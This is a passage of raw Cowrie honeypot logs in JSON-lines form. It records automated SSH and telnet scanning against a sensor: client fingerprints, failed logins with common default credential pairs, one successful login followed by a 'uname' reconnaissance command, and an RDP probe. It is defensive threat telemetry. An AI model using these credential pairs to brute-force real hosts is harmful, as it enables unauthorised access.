","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:35.580374Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:35.833552Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.050803Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.054593Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.142141Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.147703Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.320491Z","src_ip":"103.75.182.198","session":"8dbfebf7cbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":38718,"dst_ip":"10.17.0.5","dst_port":22,"session":"af6916ca301c","protocol":"ssh","message":"New connection: 43.153.37.39:38718 (10.17.0.5:22) [session: af6916ca301c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.981364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:36.986556Z","src_ip":"43.153.37.39","session":"af6916ca301c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:37.055459Z","src_ip":"43.153.37.39","session":"af6916ca301c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:37.360214Z","src_ip":"43.153.37.39","session":"af6916ca301c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:38.431242Z","src_ip":"43.153.37.39","session":"af6916ca301c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44106,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b88261438db","protocol":"ssh","message":"New connection: 192.109.200.237:44106 (159.203.135.109:22) [session: 7b88261438db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:39.056389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:39.065520Z","src_ip":"192.109.200.237","session":"7b88261438db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:39.148511Z","src_ip":"192.109.200.237","session":"7b88261438db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:39.396680Z","src_ip":"192.109.200.237","session":"7b88261438db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:40.544301Z","src_ip":"192.109.200.237","session":"7b88261438db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48326,"dst_ip":"159.203.135.109","dst_port":22,"session":"4abf151cc2d0","protocol":"ssh","message":"New connection: 192.109.200.237:48326 (159.203.135.109:22) [session: 4abf151cc2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:42.436033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:42.440843Z","src_ip":"192.109.200.237","session":"4abf151cc2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:42.523016Z","src_ip":"192.109.200.237","session":"4abf151cc2d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:42.913438Z","src_ip":"192.109.200.237","session":"4abf151cc2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.6025390625,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:43.225838Z","src_ip":"152.42.224.71","session":"529061423fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:43.999604Z","src_ip":"192.109.200.237","session":"4abf151cc2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58272,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2ec4105a96","protocol":"telnet","message":"New connection: 152.42.224.71:58272 (10.17.0.5:23) [session: 1f2ec4105a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:44.961134Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48356,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4da664d6a63","protocol":"ssh","message":"New connection: 192.109.200.237:48356 (159.203.135.109:22) [session: d4da664d6a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:45.989359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:45.996591Z","src_ip":"192.109.200.237","session":"d4da664d6a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:46.081398Z","src_ip":"192.109.200.237","session":"d4da664d6a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.34446883201599,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:46.110054Z","src_ip":"152.42.224.71","session":"00fd6f37d7b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:46.336992Z","src_ip":"192.109.200.237","session":"d4da664d6a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.864469051361084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:46.515436Z","src_ip":"152.42.224.71","session":"256d725ff475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:47.422617Z","src_ip":"192.109.200.237","session":"d4da664d6a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48366,"dst_ip":"159.203.135.109","dst_port":22,"session":"69702a79a9d2","protocol":"ssh","message":"New connection: 192.109.200.237:48366 (159.203.135.109:22) [session: 69702a79a9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:49.399131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:49.403869Z","src_ip":"192.109.200.237","session":"69702a79a9d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:49.488909Z","src_ip":"192.109.200.237","session":"69702a79a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:49.736961Z","src_ip":"192.109.200.237","session":"69702a79a9d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:50.823326Z","src_ip":"192.109.200.237","session":"69702a79a9d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59057,"dst_ip":"10.17.0.5","dst_port":22,"session":"999eb5249279","protocol":"ssh","message":"New connection: 167.172.81.52:59057 (10.17.0.5:22) [session: 999eb5249279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.441058Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.445823Z","src_ip":"167.172.81.52","session":"999eb5249279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.449343Z","src_ip":"167.172.81.52","session":"999eb5249279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43900,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed72c852e570","protocol":"ssh","message":"New connection: 192.109.200.237:43900 (159.203.135.109:22) [session: ed72c852e570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.748918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.754175Z","src_ip":"192.109.200.237","session":"ed72c852e570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.924222469329834,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.838039Z","src_ip":"152.42.224.71","session":"529c94bf6d1d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:52.916648Z","src_ip":"192.109.200.237","session":"ed72c852e570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:53.217198Z","src_ip":"192.109.200.237","session":"ed72c852e570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:54.303851Z","src_ip":"192.109.200.237","session":"ed72c852e570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"120fe97926e3","protocol":"ssh","message":"New connection: 192.109.200.237:43902 (159.203.135.109:22) [session: 120fe97926e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:56.232025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:56.237371Z","src_ip":"192.109.200.237","session":"120fe97926e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:56.320269Z","src_ip":"192.109.200.237","session":"120fe97926e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:56.569575Z","src_ip":"192.109.200.237","session":"120fe97926e3","protocol":"ssh"}
